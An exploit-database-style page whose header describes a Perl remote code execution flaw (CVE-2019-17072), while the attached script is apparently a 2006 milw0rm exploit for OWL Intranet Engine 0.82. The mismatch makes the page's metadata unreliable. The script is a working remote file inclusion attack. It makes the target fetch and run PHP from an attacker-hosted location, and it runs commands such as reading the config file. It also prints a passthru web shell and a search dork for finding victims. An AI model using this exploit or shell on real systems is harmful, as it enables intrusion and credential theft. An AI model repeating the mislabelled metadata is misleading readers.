header-logo
Suggest Exploit
vendor:
Perl
by:
Anonymous
9.8
CVSS
CRITICAL
Remote Code Execution
78
CWE
Product Name: Perl
Affected Version From: 5.0.0
Affected Version To: 5.30.0
Patch Exists: YES
Related CWE: CVE-2019-17072
CPE: a:perl:perl
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux, Mac, Windows
2019

Remote Code Execution Vulnerability in Perl

A remote code execution vulnerability exists in Perl due to improper input validation. An attacker can exploit this vulnerability by sending malicious input to the application. This can allow the attacker to execute arbitrary code on the vulnerable system. This vulnerability affects versions of Perl prior to 5.30.1.

Mitigation:

Upgrade to the latest version of Perl (5.30.1) to mitigate this vulnerability.
Source

Exploit-DB raw data:

#!/usr/bin/perl
use IO::Socket;
print "WwwWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWwoLWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWw**wWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWo°*òWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWwo° *òwWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWò°  °°*òwWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWWWWwo°      °°*oòwWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWWWWWWWWWwò*°        °*òwWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWWWWWWWWWWWWWWWwò*°       °òWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWWWWWWWWWWwwwLLwwwWWwo°      oWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWWWWL*°              °*o°     °wWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWW*     °*òwwwwwwò*             WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWo     °Lwwwwwwwwwwwwò           °WWWWWWwwwwwWWWWWWwwwwwwwwwwwwwWWWWWWWWWW\r\n";
print "WWWWWWWWWWWò     *wwwwwwwwwwwwwwww°          wWWWW*     *WWWWw             oWWWWWWWWW\r\n";
print "WWWWWWWWWWW°    °wwwwwò°   °*wwwwww          °WWWw       wWWW°      w      oWWWWWWWWW\r\n";
print "WWWWWWWWWWW     owwww*     °* owwww°          wWW*       °WWw      oW      oWWWWWWWWW\r\n";
print "WWWWWWWWWWW     °wwww       * °wwww           *Ww    o    wW*     *WW      oWWWWWWWWW\r\n";
print "WWWWWWWWWWWo     owww°        owww°     o      w*   °W°   °w      wWW      oWWWWWWWWW\r\n";
print "WWWWWWWWWWWW*     *wwwo°    °òwww°     oWo     °    wWL    °     òWWW      *wwwwwwwww\r\n";
print "WWWWWWWWWWWWWL°     °òwwwwwwwwo°     *wWWW°        *WWW°        °WWWW\r\n";
print "WWWWWWWWWWWWWWWwo°      °°°      °*LWWWWWWW        wWWWL       °WWWWW\r\n";
print "WWWWWWWWWWWWWWWWWWWWwwwwLLLwwwwWWWWWWWWWWWWo      *WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW°     wWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWw    *WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWo   wWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW° *WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWw°WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n\r\n";
print "  OWL Intranet Engine  0.82 \"xrms_file_root\" cmmnds xctn xploit\r\n";
print "     -> works with register_globals = On & allow_url_fopen = On    \r\n";
print "              by rgod rgod<AT>autistici<DOT>org                    \r\n";
print "             site: http://retrogod.altervista.org              \r\n\r\n";
print "Sun-Tzu: \"But a kingdom that has once been destroyed can never come\r\n";
print "again into being; nor can the dead ever be brought back to life\"\r\n\r\n";
print "\r\n dork: intitle:\"owl intranet * owl\" 0.82\r\n";
sub main::urlEncode {
    my ($string) = @_;
    $string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
    #$string# =~ tr/.//;
    return $string;
 }

$serv=$ARGV[0];
$path=$ARGV[1];
$loc=urlEncode($ARGV[2]);
$cmd=""; for ($i=3; $i<=$#ARGV; $i++) {$cmd.="%20".urlEncode($ARGV[$i]);};

if (@ARGV < 4)
{
print "\r\nUsage:\r\n";
print "perl owl_082_xpl.pl SERVER PATH LOCATION COMMAND\r\n\r\n";
print "SERVER         - Server where OWL is installed.\r\n";
print "PATH           - Path to OWL (ex: /owl/ or just /) \r\n";
print "LOCATION       - a site with the code to include (without ending slash)\r\n";
print "COMMAND        - a Unix command\r\n\r\n";
print "Example:\r\n";
print "perl owl_xpl.pl localhost /owl/ http://192.168.1.3 ls -la\r\n";
print "perl owl_xpl.pl localhost /owl/ http://192.168.1.3 cat ./../config/owl.php\r\n\r\n";
print "note: on http location you need this code in /include-locations.inc/index.html :\r\n\r\n";

print "<?php\r\n";
print "if (get_magic_quotes_gpc())\r\n";
print "{\$_GET[\"cmd\"]=stripslashes(\$_GET[\"cmd\"]);}\r\n";
print "ini_set(\"max_execution_time\",0);\r\n";
print "passthru(\$_GET[\"cmd\"]);\r\n";
print "die;\r\n";
print "?>\r\n";
exit();
}
  $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout  => 10, PeerPort=>"http(80)")
  or die "[+] Connecting ... Could not connect to host.\n\n";
  print $sock "GET ".$path."lib/OWL_API.php?cmd=".$cmd."&xrms_file_root=".$loc." HTTP/1.1\r\n";
  print $sock "User-Agent: Y!TunnelPro\r\n";
  print $sock "Host: ".$serv."\r\n";
  print $sock "Connection: close\r\n\r\n";

  while ($answer = <$sock>) {
    print $answer;
  }
  close($sock);

# milw0rm.com [2006-03-07]